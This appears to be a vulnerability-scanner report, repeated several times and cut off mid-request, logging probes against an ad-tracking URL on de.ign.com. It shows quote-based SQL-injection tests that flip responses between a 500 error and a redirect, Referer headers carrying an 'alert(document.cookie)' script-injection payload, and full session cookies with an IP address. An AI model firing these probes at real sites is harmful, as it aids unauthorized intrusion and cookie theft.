Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:47 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9337,9598,9613,9840,10951,11754,13203,14845,15232,16249,16251,16895,20543,22099,22153,22854,23367,23425,23427,23472,23479,23480,23493&Targets=10619,11379,28685,11380,11522,17087&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,7473,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cjkIIec,bguRrfrbdmWab HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:47 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9337,9598,9613,9840,10951,11754,13203,14845,15232,16249,16251,16895,20543,22099,22153,22854,23367,23425,23427,23472,23479,23480,23493&Targets=10619,11379,28685,11380,11522,17087&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,7473,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bynKldq,bguRragewbmAn

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9337,9598,9613,9840,10951,11754,13203,14845,15232,16249,16251,16895,20543,22099,22153,22854,23367,23425,23427,23472,23479,23480,23493&Targets=10619,11379,28685,11380,11522,17087&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,7473,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bynKldq,bguRragewbmAn HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:31 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9216,9217,9337,9598,9613,9840,10951,11754,13203,14845,15232,16249,16251,16895,20543,22099,22153,22854,23367,23425,23427,23472,23479,23480,23493&Targets=10619,11379,28685,11380,11522,17087&Values=25,31,43,60,72,80,91,101,110,150,152,235,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,7473,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bynKldq,bguRragewbmAn HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:31 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=379,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11687,11690,11714,11716,11754,14845,15232,16249,16251,17917,17920,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6887,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cnesoxW,bguRrfrbdmWai

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=379,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11687,11690,11714,11716,11754,14845,15232,16249,16251,17917,17920,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6887,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cnesoxW,bguRrfrbdmWai HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:49 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=379,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11687,11690,11714,11716,11754,14845,15232,16249,16251,17917,17920,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6887,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=cnesoxW,bguRrfrbdmWai HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.3.10.1297040497

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:49 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=379,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11687,11690,11714,11716,11754,14845,15232,16249,16251,17917,17920,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6887,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bsrfnRp,bguRragewbmAx

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=379,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11687,11690,11714,11716,11754,14845,15232,16249,16251,17917,17920,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6887,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bsrfnRp,bguRragewbmAx HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:32 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=379,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11687,11690,11714,11716,11754,14845,15232,16249,16251,17917,17920,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6887,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,281,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bsrfnRp,bguRragewbmAx HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:33 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:33 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=380,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11688,11691,11715,11717,11754,14845,15232,16249,16251,17918,17919,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6766,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=dlkpdlI,bguRrfrbdmWas

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=49282&FlightID=44822&TargetID=10619&EntityDefResetFlag=0&C=0&Segments=380,2747,4602,4603,4723,4917,5718,5749,5906,6102,6382,6573,7102,7396,7752,7888,8587,9598,11688,11691,11715,11717,11754,14845,15232,16249,16251,17918,17919,22099,22854,23425,23427,23472,23479,23480,23493&Targets=6766,10619&Values=25,31,43,60,72,80,91,101,110,150,152,235,282,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=dlkpdlI,bguRrfrbdmWas HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; 